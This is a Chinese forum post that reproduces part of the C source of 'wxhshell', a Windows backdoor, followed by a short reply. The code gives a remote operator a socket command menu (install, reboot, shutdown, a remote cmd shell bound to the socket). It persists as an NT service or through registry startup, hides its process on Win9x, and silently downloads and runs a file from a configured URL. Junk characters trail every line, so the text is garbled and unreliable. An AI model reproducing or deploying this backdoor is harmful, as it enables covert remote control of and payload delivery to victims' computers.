  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P6E=*^^m(  
  } *I(g~p  
  else { h1 D#,  
(BA2   
    switch(cmd[0]) { ;|Z;YK@20  
  Q&9%XF uM  
  // 帮助 >Lo!8Hen  
  case '?': { dWI.t1`i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $.z~bmH"D  
    break; +HK)A%QI  
  } yeCR{{B/'  
  // 安装 <9s=K\-  
  case 'i': { ?"aj&,q+  
    if(Install()) iZy`5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L8~nx}UP5  
    else O&:0mpRZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VhAZncw  
    break; P~+?:buqc  
    } _uO#0 )l  
  // 卸载 |@-%x.y  
  case 'r': { i~IQlyGr.  
    if(Uninstall()) B9 Dh^9?L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qw$"W/&X  
    else r $du-U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &E{5k{Y  
    break; 6rnehv!p  
    } y%H;o?<WX  
  // 显示 wxhshell 所在路径 x Qh?  
  case 'p': { a9E!2o+,  
    char svExeFile[MAX_PATH]; t|X |67W  
    strcpy(svExeFile,"\n\r"); sJlX ]\RLQ  
      strcat(svExeFile,ExeFile); mF>CH]k3  
        send(wsh,svExeFile,strlen(svExeFile),0); FNDLqf!j  
    break; sQA{[l!aj  
    } {1GW,T!#  
  // 重启 %;0w2W  
  case 'b': { fxDY:l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hG,gY;&[6  
    if(Boot(REBOOT)) 2.2Z'$W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ndm19M8Y|  
    else { I_yIVw;  
    closesocket(wsh); r<oI4px  
    ExitThread(0); 6bg+U`&g  
    } 0NSn5Hq  
    break; $p4aNC  
    } {zGIQG9  
  // 关机 OvPy+I  
  case 'd': { V=|^r?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >:]fN61#  
    if(Boot(SHUTDOWN)) xQ7n$.?y@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K]bS:[34 R  
    else { 3D~Fu8Hg1  
    closesocket(wsh); '3o0J\cz  
    ExitThread(0); cLl fncI  
    } KrkZv$u,  
    break; )).;p_nLZ  
    } 1V`]sfRK  
  // 获取shell -aNTFt~|[  
  case 's': { 9ok|]d P  
    CmdShell(wsh); R7KQ-+Zb  
    closesocket(wsh); (Df<QC`0v  
    ExitThread(0); N,ik&NIWy  
    break;  FZ>*<&  
  } vc2xAAQ  
  // 退出 yT&bS\  
  case 'x': { .Qh8I+Q%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dITnPb)i  
    CloseIt(wsh); G 7)D+],{Y  
    break; v%< _Mh  
    } fC3IxlG  
  // 离开 s/[i>`g/9  
  case 'q': { ud:?~?j&w  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U30)r+&  
    closesocket(wsh); ^TWN_(-@  
    WSACleanup(); ~rCnST  
    exit(1); n@L!{zY  
    break; l7{hq}@;cC  
        } +>qBK}`  
  } )O- x1U  
  } @\l> <R9V  
Re1@2a>  
  // 提示信息 -e(2?Xq9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N0RFPEQ~  
} , m|9L{  
  } ,.FTw,<  
&up/`8   
  return; z%/ww7H  
} &`L5UX  
s*CKFEb#  
// shell模块句柄 K=5_jE^e  
int CmdShell(SOCKET sock) vB4cdW 2#3  
{ ap%o\&T;  
STARTUPINFO si; ]bnxOk  
ZeroMemory(&si,sizeof(si)); Ql*/{#$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z3*G(,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =w A< F  
PROCESS_INFORMATION ProcessInfo; mF F]d  
char cmdline[]="cmd"; 3/rvSR!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IVNNiNN*5  
  return 0; paBGJ~{=  
} CJKH"'u3^  
Z `\7B e  
// 自身启动模式 ^}1RDdQ"U  
int StartFromService(void) deTbvl  
{ RO.(k!J .  
typedef struct vWkKNB  
{ [ !R%yD;  
  DWORD ExitStatus; wCt+{Y3T  
  DWORD PebBaseAddress; 4\OELU  
  DWORD AffinityMask; <$yer)_J!k  
  DWORD BasePriority; ,IJNuu\  
  ULONG UniqueProcessId; Ee|+uQ981>  
  ULONG InheritedFromUniqueProcessId; _SP u`=~K  
}   PROCESS_BASIC_INFORMATION; f,L  
pV("NJj!  
PROCNTQSIP NtQueryInformationProcess; w|nVK9.  
EhFhL4Xdn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l.)N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ba+OoS  
BWPYHWW}E  
  HANDLE             hProcess; R-Fi`#PG2  
  PROCESS_BASIC_INFORMATION pbi; *>'R R<  
ABHZ)OM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Lv^j l  
  if(NULL == hInst ) return 0; \7j)^  
kxn;;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *i?qOv /=>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?*s!&-KI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YqJIp. Z  
^w12k2a  
  if (!NtQueryInformationProcess) return 0; fcZOsTj  
`p?E{k.N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t!u*6 W|@  
  if(!hProcess) return 0; .FXQ,7mZ-  
f.P( {PN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w%_BX3GTO  
,?d%&3z<a  
  CloseHandle(hProcess); H);'\]_'x  
<C>i~ <`d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _(z"l"l=$  
if(hProcess==NULL) return 0; m5p~>]}fYF  
OX`n`+^D  
HMODULE hMod; jF;4 8g@^  
char procName[255]; i@J,u  
unsigned long cbNeeded; \O:xw-eG   
\S<5b&G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O+8`.  
UJH{vjIv  
  CloseHandle(hProcess); *@& "MZ/M  
1wgu%$|d  
if(strstr(procName,"services")) return 1; // 以服务启动 Yq^y"rw  
Zb }PP;O  
  return 0; // 注册表启动 g7P1]CZ}  
} |:#mw 1  
E nvs[YZe  
// 主模块 f lB,_  
int StartWxhshell(LPSTR lpCmdLine) _)l %-*Z7p  
{ gCJ'wv)6|%  
  SOCKET wsl; yn#h$o<  
BOOL val=TRUE; >" .qFn g  
  int port=0; m%V[&"5%e  
  struct sockaddr_in door; :z\f.+MI  
CN=&Je%I  
  if(wscfg.ws_autoins) Install(); ~tLR  
_'7/99]4g}  
port=atoi(lpCmdLine); *02( J  
W*<]`U_.  
if(port<=0) port=wscfg.ws_port; <C$<(Dw5  
cBI )?  
  WSADATA data; %8L<KJd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  mb/[2y<  
@EY}iK~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~{+{pcO}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ng"vBycy  
  door.sin_family = AF_INET; vs. uq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HUC2RM?FN  
  door.sin_port = htons(port); +I<Sq_-  
faq K D:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %jxuH+L   
closesocket(wsl); +*J4q5;E[?  
return 1; c2^7"`  
} OkZ!ZS h  
psC7I E<v  
  if(listen(wsl,2) == INVALID_SOCKET) { I{zE73  
closesocket(wsl); yU|ji?)e  
return 1; uB1!*S1f  
} MI(i%$R-A  
  Wxhshell(wsl); 5G!U'.gr  
  WSACleanup(); k Ml<  
hPxI& :N  
return 0; gJ.6m&+  
h`]/3Ma*:  
} &XRFX 5gP  
@6q$Zg/  
// 以NT服务方式启动 v$G*TR<2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;n!X% S<z*  
{ F?} *ovy  
DWORD   status = 0; udGGDH  
  DWORD   specificError = 0xfffffff; zt2-w/[Q  
g&T Cff  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z,|%? 1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rhTk}2@h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !|h2&tH  
  serviceStatus.dwWin32ExitCode     = 0; @izi2ND  
  serviceStatus.dwServiceSpecificExitCode = 0; Q) BoWd  
  serviceStatus.dwCheckPoint       = 0; j dhml%pAd  
  serviceStatus.dwWaitHint       = 0; f#kevf9zc  
ZYe\"|x,s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]zU<=b@  
  if (hServiceStatusHandle==0) return; Sqf.#}u<=  
KN:dm!A  
status = GetLastError(); :EwA$`/  
  if (status!=NO_ERROR) %_MR.J+m2  
{ oRThJB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [7 `Dgnmq  
    serviceStatus.dwCheckPoint       = 0; tgtoK|.  
    serviceStatus.dwWaitHint       = 0; FRt/{(jro  
    serviceStatus.dwWin32ExitCode     = status; Zk#i9[g9*  
    serviceStatus.dwServiceSpecificExitCode = specificError; `U_>{p&x  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); XOg(k(&T  
    return; KOEi_9i}  
  } DD 5EHJR  
Gu`Vk/&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 37- y  
  serviceStatus.dwCheckPoint       = 0; SP7g qM  
  serviceStatus.dwWaitHint       = 0; "tB"j9Jb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sLa)~To  
} Jf<yTAm  
q>(u>z!  
// 处理NT服务事件,比如:启动、停止 oHXW])[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) UUf1T@-  
{ aE+$&_>ef  
switch(fdwControl) .cS,T<$  
{ 0aTbzOn&  
case SERVICE_CONTROL_STOP: G\N"rG=  
  serviceStatus.dwWin32ExitCode = 0; 7]xz8t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qm8n7Z/  
  serviceStatus.dwCheckPoint   = 0; jnp6qpY{  
  serviceStatus.dwWaitHint     = 0; %[\x%m)  
  { Z*(! `,.bB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J s<MJ4r>/  
  } fyq] M_5  
  return; H.8CwsfP  
case SERVICE_CONTROL_PAUSE: 9=~H6(m>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N"1x]1'   
  break; RrU~"P1C  
case SERVICE_CONTROL_CONTINUE: k\&IFSp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <<On*#80w  
  break; 0S:!Gv +  
case SERVICE_CONTROL_INTERROGATE: qVD!/;l  
  break; @VC9gd O/  
}; Qv0>Pf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @52=3  
} /N[o[q  
Ed&,[rC  
// 标准应用程序主函数 Na 9l#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $ l sRg:J  
{ .V 3X#t  
PP[)h,ZL*  
// 获取操作系统版本 KT;C RO>  
OsIsNt=GetOsVer(); 2@m(XT (  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %{~mk[d3  
b|ksMB>)  
  // 从命令行安装 %Di 7u- x  
  if(strpbrk(lpCmdLine,"iI")) Install(); "o#)vA`  
ssX6kgq_(  
  // 下载执行文件 @)Hbgkdi  
if(wscfg.ws_downexe) { zGL<m0C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2mG&@E  
  WinExec(wscfg.ws_filenam,SW_HIDE); K~y9zF{  
} TaQ "G  
\LoSUl i  
if(!OsIsNt) { <W=[ sWJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 #!=>muZt  
HideProc(); :Bv&)RK  
StartWxhshell(lpCmdLine); ;TV'PJ  
} %<J(lC9,C  
else Kjn&  
  if(StartFromService()) |6(qg5"  
  // 以服务方式启动 )-9w3W1r  
  StartServiceCtrlDispatcher(DispatchTable); =Mu'+,dT  
else ~0[G/A$]  
  // 普通方式启动 \/'#=q1  
  StartWxhshell(lpCmdLine); z)W#&JFF  
-4y)qGb*?  
return 0; o.A} ``  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五